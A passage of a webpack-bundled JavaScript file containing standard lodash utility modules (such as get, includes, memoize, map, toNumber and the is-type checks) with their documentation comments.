@returns {Array} Returns the property path array. */var stringToPath=memoizeCapped(function(string){var result=[];if(string.charCodeAt(0)===46/* . */){result.push('');}string.replace(rePropName,function(match,number,quote,subString){result.push(quote?subString.replace(reEscapeChar,'$1'):number||match);});return result;});module.exports=stringToPath;/***/},/***/"./node_modules/lodash/_toKey.js":/*!***************************************!*\ !*** ./node_modules/lodash/_toKey.js ***! \***************************************/ /*! no static exports found */ /***/function node_modulesLodash_toKeyJs(module,exports,__webpack_require__){var isSymbol=__webpack_require__(/*! ./isSymbol */"./node_modules/lodash/isSymbol.js");/** Used as references for various `Number` constants. */var INFINITY=1/0;/** * Converts `value` to a string key if it's not a string or symbol. * * @private * @param {*} value The value to inspect. * @returns {string|symbol} Returns the key. */function toKey(value){if(typeof value=='string'||isSymbol(value)){return value;}var result=value+'';return result=='0'&&1/value==-INFINITY?'-0':result;}module.exports=toKey;/***/},/***/"./node_modules/lodash/_toSource.js":/*!******************************************!*\ !*** ./node_modules/lodash/_toSource.js ***! \******************************************/ /*! no static exports found */ /***/function node_modulesLodash_toSourceJs(module,exports){/** Used for built-in method references. */var funcProto=Function.prototype;/** Used to resolve the decompiled source of functions. */var funcToString=funcProto.toString;/** * Converts `func` to its source code. * * @private * @param {Function} func The function to convert. * @returns {string} Returns the source code. */function toSource(func){if(func!=null){try{return funcToString.call(func);}catch(e){}try{return func+'';}catch(e){}}return'';}module.exports=toSource;/***/},/***/"./node_modules/lodash/_trimmedEndIndex.js":/*!*************************************************!*\ !*** ./node_modules/lodash/_trimmedEndIndex.js ***! \*************************************************/ /*! no static exports found */ /***/function node_modulesLodash_trimmedEndIndexJs(module,exports){/** Used to match a single whitespace character. */var reWhitespace=/\s/;/** * Used by `_.trim` and `_.trimEnd` to get the index of the last non-whitespace * character of `string`. * * @private * @param {string} string The string to inspect. * @returns {number} Returns the index of the last non-whitespace character. */function trimmedEndIndex(string){var index=string.length;while(index--&&reWhitespace.test(string.charAt(index))){}return index;}module.exports=trimmedEndIndex;/***/},/***/"./node_modules/lodash/eq.js":/*!***********************************!*\ !*** ./node_modules/lodash/eq.js ***! \***********************************/ /*! no static exports found */ /***/function node_modulesLodashEqJs(module,exports){/** * Performs a * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero) * comparison between two values to determine if they are equivalent. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to compare. * @param {*} other The other value to compare. * @returns {boolean} Returns `true` if the values are equivalent, else `false`. * @example * * var object = { 'a': 1 }; * var other = { 'a': 1 }; * * _.eq(object, object); * // => true * * _.eq(object, other); * // => false * * _.eq('a', 'a'); * // => true * * _.eq('a', Object('a')); * // => false * * _.eq(NaN, NaN); * // => true */function eq(value,other){return value===other||value!==value&&other!==other;}module.exports=eq;/***/},/***/"./node_modules/lodash/get.js":/*!************************************!*\ !*** ./node_modules/lodash/get.js ***! \************************************/ /*! no static exports found */ /***/function node_modulesLodashGetJs(module,exports,__webpack_require__){var baseGet=__webpack_require__(/*! ./_baseGet */"./node_modules/lodash/_baseGet.js");/** * Gets the value at `path` of `object`. If the resolved value is * `undefined`, the `defaultValue` is returned in its place. * * @static * @memberOf _ * @since 3.7.0 * @category Object * @param {Object} object The object to query. * @param {Array|string} path The path of the property to get. * @param {*} [defaultValue] The value returned for `undefined` resolved values. * @returns {*} Returns the resolved value. * @example * * var object = { 'a': [{ 'b': { 'c': 3 } }] }; * * _.get(object, 'a[0].b.c'); * // => 3 * * _.get(object, ['a', '0', 'b', 'c']); * // => 3 * * _.get(object, 'a.b.c', 'default'); * // => 'default' */function get(object,path,defaultValue){var result=object==null?undefined:baseGet(object,path);return result===undefined?defaultValue:result;}module.exports=get;/***/},/***/"./node_modules/lodash/hasIn.js":/*!**************************************!*\ !*** ./node_modules/lodash/hasIn.js ***! \**************************************/ /*! no static exports found */ /***/function node_modulesLodashHasInJs(module,exports,__webpack_require__){var baseHasIn=__webpack_require__(/*! ./_baseHasIn */"./node_modules/lodash/_baseHasIn.js"),hasPath=__webpack_require__(/*! ./_hasPath */"./node_modules/lodash/_hasPath.js");/** * Checks if `path` is a direct or inherited property of `object`. * * @static * @memberOf _ * @since 4.0.0 * @category Object * @param {Object} object The object to query. * @param {Array|string} path The path to check. * @returns {boolean} Returns `true` if `path` exists, else `false`. * @example * * var object = _.create({ 'a': _.create({ 'b': 2 }) }); * * _.hasIn(object, 'a'); * // => true * * _.hasIn(object, 'a.b'); * // => true * * _.hasIn(object, ['a', 'b']); * // => true * * _.hasIn(object, 'b'); * // => false */function hasIn(object,path){return object!=null&&hasPath(object,path,baseHasIn);}module.exports=hasIn;/***/},/***/"./node_modules/lodash/identity.js":/*!*****************************************!*\ !*** ./node_modules/lodash/identity.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodashIdentityJs(module,exports){/** * This method returns the first argument it receives. * * @static * @since 0.1.0 * @memberOf _ * @category Util * @param {*} value Any value. * @returns {*} Returns `value`. * @example * * var object = { 'a': 1 }; * * console.log(_.identity(object) === object); * // => true */function identity(value){return value;}module.exports=identity;/***/},/***/"./node_modules/lodash/includes.js":/*!*****************************************!*\ !*** ./node_modules/lodash/includes.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodashIncludesJs(module,exports,__webpack_require__){var baseIndexOf=__webpack_require__(/*! ./_baseIndexOf */"./node_modules/lodash/_baseIndexOf.js"),isArrayLike=__webpack_require__(/*! ./isArrayLike */"./node_modules/lodash/isArrayLike.js"),isString=__webpack_require__(/*! ./isString */"./node_modules/lodash/isString.js"),toInteger=__webpack_require__(/*! ./toInteger */"./node_modules/lodash/toInteger.js"),values=__webpack_require__(/*! ./values */"./node_modules/lodash/values.js");/* Built-in method references for those with the same name as other `lodash` methods. */var nativeMax=Math.max;/** * Checks if `value` is in `collection`. If `collection` is a string, it's * checked for a substring of `value`, otherwise * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero) * is used for equality comparisons. If `fromIndex` is negative, it's used as * the offset from the end of `collection`. * * @static * @memberOf _ * @since 0.1.0 * @category Collection * @param {Array|Object|string} collection The collection to inspect. * @param {*} value The value to search for. * @param {number} [fromIndex=0] The index to search from. * @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`. * @returns {boolean} Returns `true` if `value` is found, else `false`. * @example * * _.includes([1, 2, 3], 1); * // => true * * _.includes([1, 2, 3], 1, 2); * // => false * * _.includes({ 'a': 1, 'b': 2 }, 1); * // => true * * _.includes('abcd', 'bc'); * // => true */function includes(collection,value,fromIndex,guard){collection=isArrayLike(collection)?collection:values(collection);fromIndex=fromIndex&&!guard?toInteger(fromIndex):0;var length=collection.length;if(fromIndex<0){fromIndex=nativeMax(length+fromIndex,0);}return isString(collection)?fromIndex<=length&&collection.indexOf(value,fromIndex)>-1:!!length&&baseIndexOf(collection,value,fromIndex)>-1;}module.exports=includes;/***/},/***/"./node_modules/lodash/isArguments.js":/*!********************************************!*\ !*** ./node_modules/lodash/isArguments.js ***! \********************************************/ /*! no static exports found */ /***/function node_modulesLodashIsArgumentsJs(module,exports,__webpack_require__){var baseIsArguments=__webpack_require__(/*! ./_baseIsArguments */"./node_modules/lodash/_baseIsArguments.js"),isObjectLike=__webpack_require__(/*! ./isObjectLike */"./node_modules/lodash/isObjectLike.js");/** Used for built-in method references. */var objectProto=Object.prototype;/** Used to check objects for own properties. */var hasOwnProperty=objectProto.hasOwnProperty;/** Built-in value references. */var propertyIsEnumerable=objectProto.propertyIsEnumerable;/** * Checks if `value` is likely an `arguments` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an `arguments` object, * else `false`. * @example * * _.isArguments(function() { return arguments; }()); * // => true * * _.isArguments([1, 2, 3]); * // => false */var isArguments=baseIsArguments(function(){return arguments;}())?baseIsArguments:function(value){return isObjectLike(value)&&hasOwnProperty.call(value,'callee')&&!propertyIsEnumerable.call(value,'callee');};module.exports=isArguments;/***/},/***/"./node_modules/lodash/isArray.js":/*!****************************************!*\ !*** ./node_modules/lodash/isArray.js ***! \****************************************/ /*! no static exports found */ /***/function node_modulesLodashIsArrayJs(module,exports){/** * Checks if `value` is classified as an `Array` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an array, else `false`. * @example * * _.isArray([1, 2, 3]); * // => true * * _.isArray(document.body.children); * // => false * * _.isArray('abc'); * // => false * * _.isArray(_.noop); * // => false */var isArray=Array.isArray;module.exports=isArray;/***/},/***/"./node_modules/lodash/isArrayLike.js":/*!********************************************!*\ !*** ./node_modules/lodash/isArrayLike.js ***! \********************************************/ /*! no static exports found */ /***/function node_modulesLodashIsArrayLikeJs(module,exports,__webpack_require__){var isFunction=__webpack_require__(/*! ./isFunction */"./node_modules/lodash/isFunction.js"),isLength=__webpack_require__(/*! ./isLength */"./node_modules/lodash/isLength.js");/** * Checks if `value` is array-like. A value is considered array-like if it's * not a function and has a `value.length` that's an integer greater than or * equal to `0` and less than or equal to `Number.MAX_SAFE_INTEGER`. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is array-like, else `false`. * @example * * _.isArrayLike([1, 2, 3]); * // => true * * _.isArrayLike(document.body.children); * // => true * * _.isArrayLike('abc'); * // => true * * _.isArrayLike(_.noop); * // => false */function isArrayLike(value){return value!=null&&isLength(value.length)&&!isFunction(value);}module.exports=isArrayLike;/***/},/***/"./node_modules/lodash/isBuffer.js":/*!*****************************************!*\ !*** ./node_modules/lodash/isBuffer.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodashIsBufferJs(module,exports,__webpack_require__){/* WEBPACK VAR INJECTION */(function(module){var root=__webpack_require__(/*! ./_root */"./node_modules/lodash/_root.js"),stubFalse=__webpack_require__(/*! ./stubFalse */"./node_modules/lodash/stubFalse.js");/** Detect free variable `exports`. */var freeExports= true&&exports&&!exports.nodeType&&exports;/** Detect free variable `module`. */var freeModule=freeExports&&_typeof2(module)=='object'&&module&&!module.nodeType&&module;/** Detect the popular CommonJS extension `module.exports`. */var moduleExports=freeModule&&freeModule.exports===freeExports;/** Built-in value references. */var Buffer=moduleExports?root.Buffer:undefined;/* Built-in method references for those with the same name as other `lodash` methods. */var nativeIsBuffer=Buffer?Buffer.isBuffer:undefined;/** * Checks if `value` is a buffer. * * @static * @memberOf _ * @since 4.3.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a buffer, else `false`. * @example * * _.isBuffer(new Buffer(2)); * // => true * * _.isBuffer(new Uint8Array(2)); * // => false */var isBuffer=nativeIsBuffer||stubFalse;module.exports=isBuffer;/* WEBPACK VAR INJECTION */}).call(this,__webpack_require__(/*! ./../webpack/buildin/module.js */"./node_modules/webpack/buildin/module.js")(module));/***/},/***/"./node_modules/lodash/isFunction.js":/*!*******************************************!*\ !*** ./node_modules/lodash/isFunction.js ***! \*******************************************/ /*! no static exports found */ /***/function node_modulesLodashIsFunctionJs(module,exports,__webpack_require__){var baseGetTag=__webpack_require__(/*! ./_baseGetTag */"./node_modules/lodash/_baseGetTag.js"),isObject=__webpack_require__(/*! ./isObject */"./node_modules/lodash/isObject.js");/** `Object#toString` result references. */var asyncTag='[object AsyncFunction]',funcTag='[object Function]',genTag='[object GeneratorFunction]',proxyTag='[object Proxy]';/** * Checks if `value` is classified as a `Function` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a function, else `false`. * @example * * _.isFunction(_); * // => true * * _.isFunction(/abc/); * // => false */function isFunction(value){if(!isObject(value)){return false;}// The use of `Object#toString` avoids issues with the `typeof` operator // in Safari 9 which returns 'object' for typed arrays and other constructors. var tag=baseGetTag(value);return tag==funcTag||tag==genTag||tag==asyncTag||tag==proxyTag;}module.exports=isFunction;/***/},/***/"./node_modules/lodash/isLength.js":/*!*****************************************!*\ !*** ./node_modules/lodash/isLength.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodashIsLengthJs(module,exports){/** Used as references for various `Number` constants. */var MAX_SAFE_INTEGER=9007199254740991;/** * Checks if `value` is a valid array-like length. * * **Note:** This method is loosely based on * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength). * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a valid length, else `false`. * @example * * _.isLength(3); * // => true * * _.isLength(Number.MIN_VALUE); * // => false * * _.isLength(Infinity); * // => false * * _.isLength('3'); * // => false */function isLength(value){return typeof value=='number'&&value>-1&&value%1==0&&value<=MAX_SAFE_INTEGER;}module.exports=isLength;/***/},/***/"./node_modules/lodash/isNull.js":/*!***************************************!*\ !*** ./node_modules/lodash/isNull.js ***! \***************************************/ /*! no static exports found */ /***/function node_modulesLodashIsNullJs(module,exports){/** * Checks if `value` is `null`. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is `null`, else `false`. * @example * * _.isNull(null); * // => true * * _.isNull(void 0); * // => false */function isNull(value){return value===null;}module.exports=isNull;/***/},/***/"./node_modules/lodash/isObject.js":/*!*****************************************!*\ !*** ./node_modules/lodash/isObject.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodashIsObjectJs(module,exports){/** * Checks if `value` is the * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types) * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`) * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an object, else `false`. * @example * * _.isObject({}); * // => true * * _.isObject([1, 2, 3]); * // => true * * _.isObject(_.noop); * // => true * * _.isObject(null); * // => false */function isObject(value){var type=_typeof2(value);return value!=null&&(type=='object'||type=='function');}module.exports=isObject;/***/},/***/"./node_modules/lodash/isObjectLike.js":/*!*********************************************!*\ !*** ./node_modules/lodash/isObjectLike.js ***! \*********************************************/ /*! no static exports found */ /***/function node_modulesLodashIsObjectLikeJs(module,exports){/** * Checks if `value` is object-like. A value is object-like if it's not `null` * and has a `typeof` result of "object". * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is object-like, else `false`. * @example * * _.isObjectLike({}); * // => true * * _.isObjectLike([1, 2, 3]); * // => true * * _.isObjectLike(_.noop); * // => false * * _.isObjectLike(null); * // => false */function isObjectLike(value){return value!=null&&_typeof2(value)=='object';}module.exports=isObjectLike;/***/},/***/"./node_modules/lodash/isString.js":/*!*****************************************!*\ !*** ./node_modules/lodash/isString.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodashIsStringJs(module,exports,__webpack_require__){var baseGetTag=__webpack_require__(/*! ./_baseGetTag */"./node_modules/lodash/_baseGetTag.js"),isArray=__webpack_require__(/*! ./isArray */"./node_modules/lodash/isArray.js"),isObjectLike=__webpack_require__(/*! ./isObjectLike */"./node_modules/lodash/isObjectLike.js");/** `Object#toString` result references. */var stringTag='[object String]';/** * Checks if `value` is classified as a `String` primitive or object. * * @static * @since 0.1.0 * @memberOf _ * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a string, else `false`. * @example * * _.isString('abc'); * // => true * * _.isString(1); * // => false */function isString(value){return typeof value=='string'||!isArray(value)&&isObjectLike(value)&&baseGetTag(value)==stringTag;}module.exports=isString;/***/},/***/"./node_modules/lodash/isSymbol.js":/*!*****************************************!*\ !*** ./node_modules/lodash/isSymbol.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodashIsSymbolJs(module,exports,__webpack_require__){var baseGetTag=__webpack_require__(/*! ./_baseGetTag */"./node_modules/lodash/_baseGetTag.js"),isObjectLike=__webpack_require__(/*! ./isObjectLike */"./node_modules/lodash/isObjectLike.js");/** `Object#toString` result references. */var symbolTag='[object Symbol]';/** * Checks if `value` is classified as a `Symbol` primitive or object. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a symbol, else `false`. * @example * * _.isSymbol(Symbol.iterator); * // => true * * _.isSymbol('abc'); * // => false */function isSymbol(value){return _typeof2(value)=='symbol'||isObjectLike(value)&&baseGetTag(value)==symbolTag;}module.exports=isSymbol;/***/},/***/"./node_modules/lodash/isTypedArray.js":/*!*********************************************!*\ !*** ./node_modules/lodash/isTypedArray.js ***! \*********************************************/ /*! no static exports found */ /***/function node_modulesLodashIsTypedArrayJs(module,exports,__webpack_require__){var baseIsTypedArray=__webpack_require__(/*! ./_baseIsTypedArray */"./node_modules/lodash/_baseIsTypedArray.js"),baseUnary=__webpack_require__(/*! ./_baseUnary */"./node_modules/lodash/_baseUnary.js"),nodeUtil=__webpack_require__(/*! ./_nodeUtil */"./node_modules/lodash/_nodeUtil.js");/* Node.js helper references. */var nodeIsTypedArray=nodeUtil&&nodeUtil.isTypedArray;/** * Checks if `value` is classified as a typed array. * * @static * @memberOf _ * @since 3.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a typed array, else `false`. * @example * * _.isTypedArray(new Uint8Array); * // => true * * _.isTypedArray([]); * // => false */var isTypedArray=nodeIsTypedArray?baseUnary(nodeIsTypedArray):baseIsTypedArray;module.exports=isTypedArray;/***/},/***/"./node_modules/lodash/isUndefined.js":/*!********************************************!*\ !*** ./node_modules/lodash/isUndefined.js ***! \********************************************/ /*! no static exports found */ /***/function node_modulesLodashIsUndefinedJs(module,exports){/** * Checks if `value` is `undefined`. * * @static * @since 0.1.0 * @memberOf _ * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is `undefined`, else `false`. * @example * * _.isUndefined(void 0); * // => true * * _.isUndefined(null); * // => false */function isUndefined(value){return value===undefined;}module.exports=isUndefined;/***/},/***/"./node_modules/lodash/keys.js":/*!*************************************!*\ !*** ./node_modules/lodash/keys.js ***! \*************************************/ /*! no static exports found */ /***/function node_modulesLodashKeysJs(module,exports,__webpack_require__){var arrayLikeKeys=__webpack_require__(/*! ./_arrayLikeKeys */"./node_modules/lodash/_arrayLikeKeys.js"),baseKeys=__webpack_require__(/*! ./_baseKeys */"./node_modules/lodash/_baseKeys.js"),isArrayLike=__webpack_require__(/*! ./isArrayLike */"./node_modules/lodash/isArrayLike.js");/** * Creates an array of the own enumerable property names of `object`. * * **Note:** Non-object values are coerced to objects. See the * [ES spec](http://ecma-international.org/ecma-262/7.0/#sec-object.keys) * for more details. * * @static * @since 0.1.0 * @memberOf _ * @category Object * @param {Object} object The object to query. * @returns {Array} Returns the array of property names. * @example * * function Foo() { * this.a = 1; * this.b = 2; * } * * Foo.prototype.c = 3; * * _.keys(new Foo); * // => ['a', 'b'] (iteration order is not guaranteed) * * _.keys('hi'); * // => ['0', '1'] */function keys(object){return isArrayLike(object)?arrayLikeKeys(object):baseKeys(object);}module.exports=keys;/***/},/***/"./node_modules/lodash/map.js":/*!************************************!*\ !*** ./node_modules/lodash/map.js ***! \************************************/ /*! no static exports found */ /***/function node_modulesLodashMapJs(module,exports,__webpack_require__){var arrayMap=__webpack_require__(/*! ./_arrayMap */"./node_modules/lodash/_arrayMap.js"),baseIteratee=__webpack_require__(/*! ./_baseIteratee */"./node_modules/lodash/_baseIteratee.js"),baseMap=__webpack_require__(/*! ./_baseMap */"./node_modules/lodash/_baseMap.js"),isArray=__webpack_require__(/*! ./isArray */"./node_modules/lodash/isArray.js");/** * Creates an array of values by running each element in `collection` thru * `iteratee`. The iteratee is invoked with three arguments: * (value, index|key, collection). * * Many lodash methods are guarded to work as iteratees for methods like * `_.every`, `_.filter`, `_.map`, `_.mapValues`, `_.reject`, and `_.some`. * * The guarded methods are: * `ary`, `chunk`, `curry`, `curryRight`, `drop`, `dropRight`, `every`, * `fill`, `invert`, `parseInt`, `random`, `range`, `rangeRight`, `repeat`, * `sampleSize`, `slice`, `some`, `sortBy`, `split`, `take`, `takeRight`, * `template`, `trim`, `trimEnd`, `trimStart`, and `words` * * @static * @memberOf _ * @since 0.1.0 * @category Collection * @param {Array|Object} collection The collection to iterate over. * @param {Function} [iteratee=_.identity] The function invoked per iteration. * @returns {Array} Returns the new mapped array. * @example * * function square(n) { * return n * n; * } * * _.map([4, 8], square); * // => [16, 64] * * _.map({ 'a': 4, 'b': 8 }, square); * // => [16, 64] (iteration order is not guaranteed) * * var users = [ * { 'user': 'barney' }, * { 'user': 'fred' } * ]; * * // The `_.property` iteratee shorthand. * _.map(users, 'user'); * // => ['barney', 'fred'] */function map(collection,iteratee){var func=isArray(collection)?arrayMap:baseMap;return func(collection,baseIteratee(iteratee,3));}module.exports=map;/***/},/***/"./node_modules/lodash/memoize.js":/*!****************************************!*\ !*** ./node_modules/lodash/memoize.js ***! \****************************************/ /*! no static exports found */ /***/function node_modulesLodashMemoizeJs(module,exports,__webpack_require__){var MapCache=__webpack_require__(/*! ./_MapCache */"./node_modules/lodash/_MapCache.js");/** Error message constants. */var FUNC_ERROR_TEXT='Expected a function';/** * Creates a function that memoizes the result of `func`. If `resolver` is * provided, it determines the cache key for storing the result based on the * arguments provided to the memoized function. By default, the first argument * provided to the memoized function is used as the map cache key. The `func` * is invoked with the `this` binding of the memoized function. * * **Note:** The cache is exposed as the `cache` property on the memoized * function. Its creation may be customized by replacing the `_.memoize.Cache` * constructor with one whose instances implement the * [`Map`](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object) * method interface of `clear`, `delete`, `get`, `has`, and `set`. * * @static * @memberOf _ * @since 0.1.0 * @category Function * @param {Function} func The function to have its output memoized. * @param {Function} [resolver] The function to resolve the cache key. * @returns {Function} Returns the new memoized function. * @example * * var object = { 'a': 1, 'b': 2 }; * var other = { 'c': 3, 'd': 4 }; * * var values = _.memoize(_.values); * values(object); * // => [1, 2] * * values(other); * // => [3, 4] * * object.a = 2; * values(object); * // => [1, 2] * * // Modify the result cache. * values.cache.set(object, ['a', 'b']); * values(object); * // => ['a', 'b'] * * // Replace `_.memoize.Cache`. * _.memoize.Cache = WeakMap; */function memoize(func,resolver){if(typeof func!='function'||resolver!=null&&typeof resolver!='function'){throw new TypeError(FUNC_ERROR_TEXT);}var memoized=function memoized(){var args=arguments,key=resolver?resolver.apply(this,args):args[0],cache=memoized.cache;if(cache.has(key)){return cache.get(key);}var result=func.apply(this,args);memoized.cache=cache.set(key,result)||cache;return result;};memoized.cache=new(memoize.Cache||MapCache)();return memoized;}// Expose `MapCache`. memoize.Cache=MapCache;module.exports=memoize;/***/},/***/"./node_modules/lodash/property.js":/*!*****************************************!*\ !*** ./node_modules/lodash/property.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodashPropertyJs(module,exports,__webpack_require__){var baseProperty=__webpack_require__(/*! ./_baseProperty */"./node_modules/lodash/_baseProperty.js"),basePropertyDeep=__webpack_require__(/*! ./_basePropertyDeep */"./node_modules/lodash/_basePropertyDeep.js"),isKey=__webpack_require__(/*! ./_isKey */"./node_modules/lodash/_isKey.js"),toKey=__webpack_require__(/*! ./_toKey */"./node_modules/lodash/_toKey.js");/** * Creates a function that returns the value at `path` of a given object. * * @static * @memberOf _ * @since 2.4.0 * @category Util * @param {Array|string} path The path of the property to get. * @returns {Function} Returns the new accessor function. * @example * * var objects = [ * { 'a': { 'b': 2 } }, * { 'a': { 'b': 1 } } * ]; * * _.map(objects, _.property('a.b')); * // => [2, 1] * * _.map(_.sortBy(objects, _.property(['a', 'b'])), 'a.b'); * // => [1, 2] */function property(path){return isKey(path)?baseProperty(toKey(path)):basePropertyDeep(path);}module.exports=property;/***/},/***/"./node_modules/lodash/stubArray.js":/*!******************************************!*\ !*** ./node_modules/lodash/stubArray.js ***! \******************************************/ /*! no static exports found */ /***/function node_modulesLodashStubArrayJs(module,exports){/** * This method returns a new empty array. * * @static * @memberOf _ * @since 4.13.0 * @category Util * @returns {Array} Returns the new empty array. * @example * * var arrays = _.times(2, _.stubArray); * * console.log(arrays); * // => [[], []] * * console.log(arrays[0] === arrays[1]); * // => false */function stubArray(){return[];}module.exports=stubArray;/***/},/***/"./node_modules/lodash/stubFalse.js":/*!******************************************!*\ !*** ./node_modules/lodash/stubFalse.js ***! \******************************************/ /*! no static exports found */ /***/function node_modulesLodashStubFalseJs(module,exports){/** * This method returns `false`. * * @static * @memberOf _ * @since 4.13.0 * @category Util * @returns {boolean} Returns `false`. * @example * * _.times(2, _.stubFalse); * // => [false, false] */function stubFalse(){return false;}module.exports=stubFalse;/***/},/***/"./node_modules/lodash/toFinite.js":/*!*****************************************!*\ !*** ./node_modules/lodash/toFinite.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodashToFiniteJs(module,exports,__webpack_require__){var toNumber=__webpack_require__(/*! ./toNumber */"./node_modules/lodash/toNumber.js");/** Used as references for various `Number` constants. */var INFINITY=1/0,MAX_INTEGER=1.7976931348623157e+308;/** * Converts `value` to a finite number. * * @static * @memberOf _ * @since 4.12.0 * @category Lang * @param {*} value The value to convert. * @returns {number} Returns the converted number. * @example * * _.toFinite(3.2); * // => 3.2 * * _.toFinite(Number.MIN_VALUE); * // => 5e-324 * * _.toFinite(Infinity); * // => 1.7976931348623157e+308 * * _.toFinite('3.2'); * // => 3.2 */function toFinite(value){if(!value){return value===0?value:0;}value=toNumber(value);if(value===INFINITY||value===-INFINITY){var sign=value<0?-1:1;return sign*MAX_INTEGER;}return value===value?value:0;}module.exports=toFinite;/***/},/***/"./node_modules/lodash/toInteger.js":/*!******************************************!*\ !*** ./node_modules/lodash/toInteger.js ***! \******************************************/ /*! no static exports found */ /***/function node_modulesLodashToIntegerJs(module,exports,__webpack_require__){var toFinite=__webpack_require__(/*! ./toFinite */"./node_modules/lodash/toFinite.js");/** * Converts `value` to an integer. * * **Note:** This method is loosely based on * [`ToInteger`](http://www.ecma-international.org/ecma-262/7.0/#sec-tointeger). * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to convert. * @returns {number} Returns the converted integer. * @example * * _.toInteger(3.2); * // => 3 * * _.toInteger(Number.MIN_VALUE); * // => 0 * * _.toInteger(Infinity); * // => 1.7976931348623157e+308 * * _.toInteger('3.2'); * // => 3 */function toInteger(value){var result=toFinite(value),remainder=result%1;return result===result?remainder?result-remainder:result:0;}module.exports=toInteger;/***/},/***/"./node_modules/lodash/toNumber.js":/*!*****************************************!*\ !*** ./node_modules/lodash/toNumber.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodashToNumberJs(module,exports,__webpack_require__){var baseTrim=__webpack_require__(/*! ./_baseTrim */"./node_modules/lodash/_baseTrim.js"),isObject=__webpack_require__(/*! ./isObject */"./node_modules/lodash/isObject.js"),isSymbol=__webpack_require__(/*! ./isSymbol */"./node_modules/lodash/isSymbol.js");/** Used as references for various `Number` constants. */var NAN=0/0;/** Used to detect bad signed hexadecimal string values. */var reIsBadHex=/^[-+]0x[0-9a-f]+$/i;/** Used to detect binary string values. */var reIsBinary=/^0b[01]+$/i;/** Used to detect octal string values. */var reIsOctal=/^0o[0-7]+$/i;/** Built-in method references without a dependency on `root`. */var freeParseInt=parseInt;/** * Converts `value` to a number. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to process. * @returns {number} Returns the number. * @example * * _.toNumber(3.2); * // => 3.2 * * _.toNumber(Number.MIN_VALUE); * // => 5e-324 * * _.toNumber(Infinity); * // => Infinity * * _.toNumber('3.2'); * // => 3.2 */function toNumber(value){if(typeof value=='number'){return value;}if(isSymbol(value)){return NAN;}if(isObject(value)){var other=typeof value.valueOf=='function'?value.valueOf():value;value=isObject(other)?other+'':other;}if(typeof value!='string'){return value===0?value:+value;}value=baseTrim(value);var isBinary=reIsBinary.test(value);return isBinary||reIsOctal.test(value)?freeParseInt(value.slice(2),isBinary?2:8):reIsBadHex.test(value)?NAN:+value;}module.exports=toNumber;/***/},/***/"./node_modules/lodash/toString.js":/*!*****************************************!*\ !*** ./node_modules/lodash/toString.js ***! \*****************************************/ /*! no static exports found */ /***/function node_modulesLodashToStringJs(module,exports,__webpack_require__){var baseToString=__webpack_require__(/*! ./_baseToString */"./node_modules/lodash/_baseToString.js");/** * Converts `value` to a string. An empty string is returned for `null` * and `undefined` values. The sign of `-0` is preserved. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to convert. * @returns {string} Returns the converted string. * @example * * _.toString(null); * // => '' * * _.toString(-0); * // => '-0' * * _.toString([1, 2, 3]); * // => '1,2,3' */function toString(value){return value==null?'':baseToString(value);}module.exports=toString;/***/},/***/"./node_modules/lodash/values.js":/*!***************************************!*\ !*** ./node_modules/lodash/values.js ***! \***************************************/ /*! no static exports found */ /***/function node_modulesLodashValuesJs(module,exports,__webpack_require__){var baseValues=__webpack_require__(/*! ./_baseValues */"./node_modules/lodash/_baseValues.js"),keys=__webpack_require__(/*! ./keys */"./node_modules/lodash/keys.js");/** * Creates an array of the own enumerable string keyed property values of `object`. * * **Note:** Non-object values are coerced to objects. * * @static * @since 0.1.0 * @memberOf _ * @category Object * @param {Object} object The object to query. * @returns {Array} Returns the array of property values. * @example * * function Foo() { * this.a = 1; * this.b = 2; * } * * Foo.prototype.c = 3; * * _.values(new Foo); * // => [1, 2] (iteration order is not guaranteed) * * _.values('hi'); * // => ['h', 'i'] */function values(object){return object==null?[]:baseValues(object,keys(object));}module.exports=values;/***/},/***/"./node_modules/webpack/buildin/global.js":/*!***********************************!*\ !*** (webpack)/buildin/global.js ***! \***********************************/ /*! no static exports found */ /***/function 